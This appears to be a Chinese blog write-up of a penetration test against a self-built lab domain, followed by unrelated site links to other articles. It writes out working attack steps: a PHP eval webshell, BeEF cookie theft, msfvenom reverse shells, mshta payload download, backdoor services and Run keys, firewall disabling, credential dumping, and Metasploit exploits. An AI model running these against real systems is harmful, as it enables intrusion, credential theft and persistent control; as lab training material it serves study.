记一次自建靶场域渗透过程

为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓

  • 01 环境搭建
  • 02 外网突破
  • 03 权限提升并维持
    • (1)获取 meterpreter 会话
    • (2)尝试开启远程桌面
    • (3)Msf 派生 Cobalt Strike shell
    • (4)Cobalt Strike 制作 Powersehll 反弹 Shell<br>
    • (5)后门程序植入
  • 04 横向移动
    • (1)Cobalt Strike 获得域控权限
    • (2)msf 内网利用
    • (3)持续内网攻击

01 环境搭建


自建靶场拓扑如下图所示:

在这里插入图片描述

具体主机配置信息如下表所示:

在这里插入图片描述
主机配置完成后,连通性测试满足以下三点:

1、Windows 7 能连通所有主机,但所有主机都不与 Windows 7 连通。

2、Windows Server 2003 和 Windows Server 2008 相互连通。

3、Windows 7 上用 phpStudy 开启 Web 服务后,浏览器访问 127.0.0.1 能访问到 PhpStudy 探针页面。


02 外网突破


Kali 攻击机上使用系统自带的 Nmap 进行目标开放端口探测,执行命令为 nmap -T4 -A 192.168.40.133,从执行扫描后的结果可以清楚得知目标服务器192.168.40.133 开放了 80 端口

在这里插入图片描述

访问 http://192.168.40.133/yxcms/页面,浏览网页相关消息,留言本模块中留言内容部分插入 xss 测试代码<script>alert(1)</script>

在这里插入图片描述


模拟管理员登入后台查看留言管理,发现出现弹框

在这里插入图片描述

确定网站存在存储型 XXS 后,计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息。首先Kali攻击机启动beef-xss,修改登录密码为jkxy@123

在这里插入图片描述

访问 beef-xss 的 web 管理界面:http://127.0.0.1:3000/ui/panel,使用账号密码 beef/jkxy@123 成功登录

在这里插入图片描述

使用 beef 平台生成的 hook 进行 XSS 攻击,在留言本中发布一个带 hook 的评论

在这里插入图片描述

模拟后台管理员进行内容审核操作

在这里插入图片描述

在 Kali 攻击机上登录 beef,这里可以看到被勾连的浏览器,我们获得了其登录的 URL 和 cookie

在这里插入图片描述
利 用 Burp Suite 代 理 工 具 , 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 , 在Proxy—>Option—>Match and Replace 板块添加一个规则:^Cookie.*$,其中Cookie 填入 beef-xss 中获取的 cookie 消息,添加好后把 enabled 勾上,这样每次经过 burp 的请求都是固定的 cookie。

在这里插入图片描述

使用浏览器重新访问后台网站,发现直接登录后台管理页面

在这里插入图片描述
成功登录 CMS管理员后台后,找到模板编辑处,往 index_index.php 中,插入一句话:

<?php eval($_POST["jkxy"]);?>

在这里插入图片描述

中国蚁剑连接 http://192.168.239.202/yxcms/index.php,使用 ipconfig 命令进行虚拟终端功能测试,发现能成功返回 Windows 7 服务器 IP 地址192.168.40.133

在这里插入图片描述
测试中国蚁剑文件管理功能,发现成功回显 webshell 所在目录C:/phpStudy/WWW/yxcms/public,说明中国蚁剑成功连接 webshell

在这里插入图片描述
在这里插入图片描述
至此攻击者通过存储型XSS至getshell,成功获取边界Web服务器权限。


03 权限提升并维持


获得了 Windows 7 边界服务器的 webshell 后,利用该 webshell进行权限提升并维持操作。

(1)获取 meterpreter 会话

Kali 攻击机中利用 msfvenom 模块生成木马,执行命令 生成一个木马程序,同时 msf 开启监听模块

msfvenom -p Windows/meterpreter/reverse_tcp lhost=192.168.40.131 lport=6666 -f exe 
-o shell.exe

在这里插入图片描述
在这里插入图片描述
用蚁剑将木马上传至 Windows 7 中的C:/phpStudy/WWW/yxcms/public 目录

在这里插入图片描述
利用蚁剑虚拟终端进入 C:/phpStudy/WWW/yxcms/public 目录下执行木马

在这里插入图片描述
此时查看 msf 监听内容,发现返回 meterpreter 的shell,并利用 getsystem,成功提权到 system 权限

在这里插入图片描述

(2)尝试开启远程桌面

获取 meterpreter 会话并提权至 system 权限后,可以尝试使用命令开启远程桌面,维持控制

 run post/Windows/manage/enable_rdp

在这里插入图片描述
Kali 攻击机中使用命令 rdesktop 192.168.40.133 尝试远程连接服务器,成功进入远程登录界面

在这里插入图片描述
在这里插入图片描述

发现缺少登录账号,于是使用中国蚁剑添加用户,并将其加入管理员组,执行命令如下

net user jkxy mjxy@314159/add
net localgroup administrators jkxy /add
net user jkxy

在这里插入图片描述
使用新创建的用户 jkxy/mjxy@314159 进行远程桌面登录,用户登录成功,但系统提示:其他用户当前已登录到此计算机。如果继续,则该用户必须断开与此计算机的连接。是否继续。

在这里插入图片描述
模拟 Windows 7 用户查看桌面情况,发现系统提示:STu1yikxy 要连接到该计算机。请单击“确定”立即断开您的会话连接或单击“取消”保持连接状态。否则,您将在 30 秒后被断开。

在这里插入图片描述


(3)Msf 派生 Cobalt Strike shell

打开 Cobalt Strik,先打开服务端,执行命令./teamserver 192.168.40.131 jkxy@123 启动,其中第一个参数是地址,第二个参数是密码,地址是我们本机的地址,密码任意设置,这里为jkxy@123

在这里插入图片描述


接着输入命令启动客户端 Java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar,密码就填刚刚的 jkxy@123

在这里插入图片描述
启动后的界面如下图所示:

在这里插入图片描述

进入该界面后首先需要创建一个 listener,点击左上角的 cobaltstrike->listeners,此时会在下方显示一个 listeners 窗口,点击add 添加新的 listener,而后点击 save 保存

在这里插入图片描述

退回到 msf 中,利用注入模块将 shell 派生到 Cobalt Strike 中

在这里插入图片描述
再次回到 Cobalt Strike中肉鸡便上线了
在这里插入图片描述
拿到 Cobalt Strikeshell 后,一般先将回显时间由默认的 60s 改成 1s,Cobalt Strike 的 shell,执行 Windows 的命令时,只需要在命令前加 shell 即可。


(4)Cobalt Strike 制作 Powersehll 反弹 Shell

添加一个用于接收 beacon 的 listener CobaltStrike_beacon,并制作木马,生成攻击链接。

在这里插入图片描述
在这里插入图片描述

这条链接就是用于执行本次攻击的链接,接着用蚁剑直接执行命令:
mshta http://192.168.40.133:80/download/file.ext

在这里插入图片描述


执行后,此时切换回 Kali 攻击机便能直观观察到肉鸡已经上线。

在这里插入图片描述

目前,我们已经用 Cobalt Strike 拿到了两个 Windows 7 的 shell,接着新建一个监听端口并选择其中一个 shell 进行漏洞提权。

在这里插入图片描述
在这里插入图片描述

稍等片刻后,发现提权成功

在这里插入图片描述

(5)后门程序植入

在渗透过程中拿到目标系统权限只是开始,如果管理员修复了漏洞,权限就丢失了,这时候要想持续在内网进行渗透就需要权限维持。接下来通过开机启动项和注册表进行进一步权限维持。计划通过 service 留自启动后门,生成一个 exe 后门。

首先创建一个监听 cs_back_door 专门用于后门程序的监听;

在这里插入图片描述


然后Cobalt Strike 中依次点击 Attacks->packages->Windows executable,点击genetrate 后保存即可

在这里插入图片描述

接着 Cobalt Strike 中右键 explore>file browser,选择我们想要的路径,这里以 C:\Windows 为例,把生成的 exe 程序上传到 Windows 7

在这里插入图片描述
然后如在 bean 中输入以下命令

shell sc create "server power" binpath= "C:\Windows\artifact.exe"(创建项及路径)
shell sc description "server power" "description"(设置服务的描述字符串)
shell sc config "server power" start= auto(设置服务为自启动)
shell net start "server power"(启动服务)

在这里插入图片描述
模拟 Windows 7 用户查看服务项,可以看到 server power 项

在这里插入图片描述
可见这个 exe 是设置有效的,接下来重启目标机器

在这里插入图片描述
机器重启完毕之后,Cobalt Strike 又自动获取了控制权,持续时间最短的那个就是重启后自动获得的

在这里插入图片描述
除此之外,也可以直接向注册表写开机启动项,同样是上一步生成的木马程序在 bean 中输入命令

shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d 
42
"C:\Windows\artifact.exe" /f

执行命令成功界面如图所示

在这里插入图片描述
切换到靶机,打开注册表 regedit.exe,在对应的路径下找到了该项,那么也就是说我们已经成功写入注册表的自启动项了

在这里插入图片描述

04 横向移动

(1)Cobalt Strike 获得域控权限

进行权限维持之后,我们开始进行内网的横向移动。首先我们发现防火墙开启,而后利用命令关闭防火墙,命令如下:

shell netsh firewall show state;
shell netsh advfirewall set allprofiles state off

是命令成功执行界面如下图所示:

在这里插入图片描述
接着使用命令 net view 获取域内目标

在这里插入图片描述


切换到 Targets 模块中查看局域网内的情况。可以看到目标中,name 分三块:STU1 也就是我们已获得权限的 Windows 7 边界服务器,域内还有两台 OWA 和 ROOT-TVI862UBEH
![在这里插入图片描述](https://img-blog.csdnimg.cn/5870d00d611b4eb29ccbcc47975fe2ce.png#pic_center) 了解域内大概情况后,先利用 Cobalt Strike 的 beacon 使用 hashdump 命令抓取 Windows 7 中的密码

在这里插入图片描述

接着使用 logonpasswords 查看明文消息,

在这里插入图片描述

执行完后,查看凭证,发现域控用户 Administrator 的密码为44jkxy@3.14159,如图 。

在这里插入图片描述
明确域控管理员账号后,尝试对域控进行攻击。首先增加一个 smb listener

在这里插入图片描述

在 target 列表中选择 name 为 OWA 的主机,右键 jump->psexec

在这里插入图片描述

填入用户名密码,选择刚刚创建的 Listener,选择 System 的那个 Session

在这里插入图片描述

点击 Lauch成功拿到域控权限,如图。

在这里插入图片描述
使用同样的方式攻击另一台域内主机,Listener 选择 smb_2,Session 选则刚拿到的域控会话

在这里插入图片描述

攻击后目标主机成功上线,现拿到三台 sysytem 权限服务器

在这里插入图片描述

(2)msf 内网利用

在 Cobalt Strike 中获取三台主机权限后,利用隧道把 msf 代理到内网利用,尝试继续内网横向渗透。


首先在 beacon shell 中输入 socks 1234,1234 为端口,我们可以随意设置,只要不冲突就行

在这里插入图片描述

接着点击 Cobalt Strike 菜单上的 view->proxy pivots

在这里插入图片描述


可以看到代理的情况,然后点击下方的tunnel,会出现一条命令

在这里插入图片描述
Kali 攻击机上启动 msf,把上一步复制的命令粘贴进来,这样就把 msf 代理到内网中去了,接下来就可以使用 msf 继续对内网中的机器进行渗透

在这里插入图片描述

在 meterpreter 中使用 run get_local_subnets 查看本地路由消息发现存在192.168.40.0 段和 192.168.52.0 段,其中 40 为公网网段、52 为内网网段。

在这里插入图片描述

接着使用命令 run autoroute -s 192.168.52.0/24 添加路由,使得 MSF 能够通过 Windows 7 路由转发访问 192.168.52.0 网段。在 meterpreter中使用 run post/Windows/gather/arp_scanner Rhost 192.168.52.0/24 扫描 52网段,发现同网段内仅有三台主机,且为 Cobalt Strike 拿下的三台 system 权限主机。

在这里插入图片描述

(3)持续内网攻击

继续使用 msf 进行内网渗透测试,还发现以下可利用漏洞模块部分

1、MS08-067

使用 MS08-067 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set lport 4444
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限

在这里插入图片描述



2、RPC DCOM 服务漏洞

使用 RPC DCOM 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/dcerpc/ms03_026_dcom
set rhost 192.168.52.141
set lport 135
set payload Windows/meterpreter/bind_tcp
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限

在这里插入图片描述


(3)MS17-010

使用 MS17-010 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
exploit/Windows/smb/ms17_010_eternalblue
set payload Windows/x64/meterpreter/bind_tcp
set RHOST 192.168.40.141
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞使目标主机蓝屏

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/8040.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】4.工具:读取yaml配置信息

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍读取yaml配置信息。 学其所用&#xff0c;用其所学。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&#xff0c;下次更新不迷路&…

CC1310 CC1310F128RSMR 超低功耗SUB-1GHz 无线 MCU芯片

1 器件概述 1 1 特性 • 微控制器 – 性能强大的 Arm Cortex -M3 处理器 – EEMBCCoreMark评分&#xff1a;142 – EEMBC ULPBench™评分&#xff1a;158 – 时钟速率最高可达 48MHz – 32KB、64KB 和 128KB 系统内可编程闪存 – 8KB 缓存静态随机存取存储器 (SRAM) &#xff…

CMake静态库动态库的构建和链接

cmake的基础知识&#xff1a;CMakeLists常用命令&#xff0c;在这里不再赘述。 Windows平台下可用cmake-gui生成vs的.sln工程&#xff0c;Linux平台下可以运行cmake命令。 动态库和静态库的构建 现有C工程目录结构如下&#xff1a; 静态库的构建 add.h #include <iost…

C语言进阶---字符串+内存函数

本章重点 重点介绍处理字符和字符串的库函数的使用和注意事项。 求字符串长度 strlen() 长度不受限制的的字符串函数 strcpy()strcat()strcmp() 长度受限制的的字符串函数 strncpy()strncat()strncmp() 字符串查找 strstr()strtok() 错误信息报告 strerror() 字符操作内存操作函…

FPGA实验二:模可变计数器设计

目录 一、实验目的 二、实验要求 三、实验代码 1.实验源码 2.部分代码设计思路分析 四、实验结果及分析 1、引脚锁定 2、仿真波形及分析 3、下载测试结果及分析 五、实验心得 1.解决实验中遇到的困难及解决 2.完成实验后的心得 一、实验目的 &#xff08;1&#xf…

Jenkins用户权限设置和运行节点配置实战

这里写目录标题 一、Jenkins用户权限设置实战1、用户权限配置2、用户权限分配 二、Jenkins运行节点配置实战1、增加运行节点的好处2、实战B-1:添加Jenkins运行节点实战1、相关字段说明&#xff1a;2、SSH连接方式 实战B-2:配置不同类型的节点-Python 节点实战B-3:配置不同类型的…

【Java|golang】2679. 矩阵中的和

给你一个下标从 0 开始的二维整数数组 nums 。一开始你的分数为 0 。你需要执行以下操作直到矩阵变为空&#xff1a; 矩阵中每一行选取最大的一个数&#xff0c;并删除它。如果一行中有多个最大的数&#xff0c;选择任意一个并删除。 在步骤 1 删除的所有数字中找到最大的一个…

什么是DevOps? 什么是DORA?

1. 前言 对于搞云原生应用的同学&#xff0c;对于DevOps和DORA应该都不陌生。但对于传统应用程序开发的同学&#xff0c;经常被DevOps, Microservice, CICD, DORA这些新颖的名词搞得晕头转向。那么到底什么是DevOps? 什么是DORA呢&#xff1f; 2. 解析 2.1 DevOps DevOps并…

Linux进程概念

目录 冯诺依曼体系结构 操作系统 系统调用和库函数概念 进程 描述进程-PCB 组织进程 理解进程 查看进程 通过系统调用获取进程标示符 通过系统调用创建进程-fork 进程状态 进程状态查看 孤儿进程 进程优先级 查看系统进程 PRI and NI PRI vs NI 用top命令更改…

官宣 | 平行云正式升级为Paraverse平行云科技,开启全球业务新征程

6月30日, "Here is New-Gen Web"——Paraverse Global Strategy and Brand Launch Party 于香港科学园召开&#xff0c;会上平行云正式宣布升级为Paraverse平行云科技&#xff08;以下简称Paraverse)&#xff0c;并升级品牌标识“Paraverse”。这一全新命名与视觉焕新…

LabVIEW仿真单频脉冲信号+线性调频信号+高斯白噪声信号

文章目录 前言一、单频脉冲信号1、信号参数2、仿真图①、前面板②、程序框图 二、线性调频信号1、信号参数2、仿真图①、前面板②、程序框图 三、高斯白噪声信号1、信号参数2、仿真图①、前面板②、程序框图 四、合成信号1、前面板2、程序框图 五、代码自取 前言 本文基于 Lab…

day28-JSP

0目录 JSP 1.为什么使用JSP 2.B/S和C/S的区别 3.URL 4.Tomcat 5.JSP实战综合项目 1.为什么使用JSP 1.1 JSP定义&#xff1a; &#xff08;1&#xff09;是一种动态网页技术 &#xff08;2&#xff09;Java Server Pages&#xff08;Java服务器端页面技术&#xff09; 1.2 …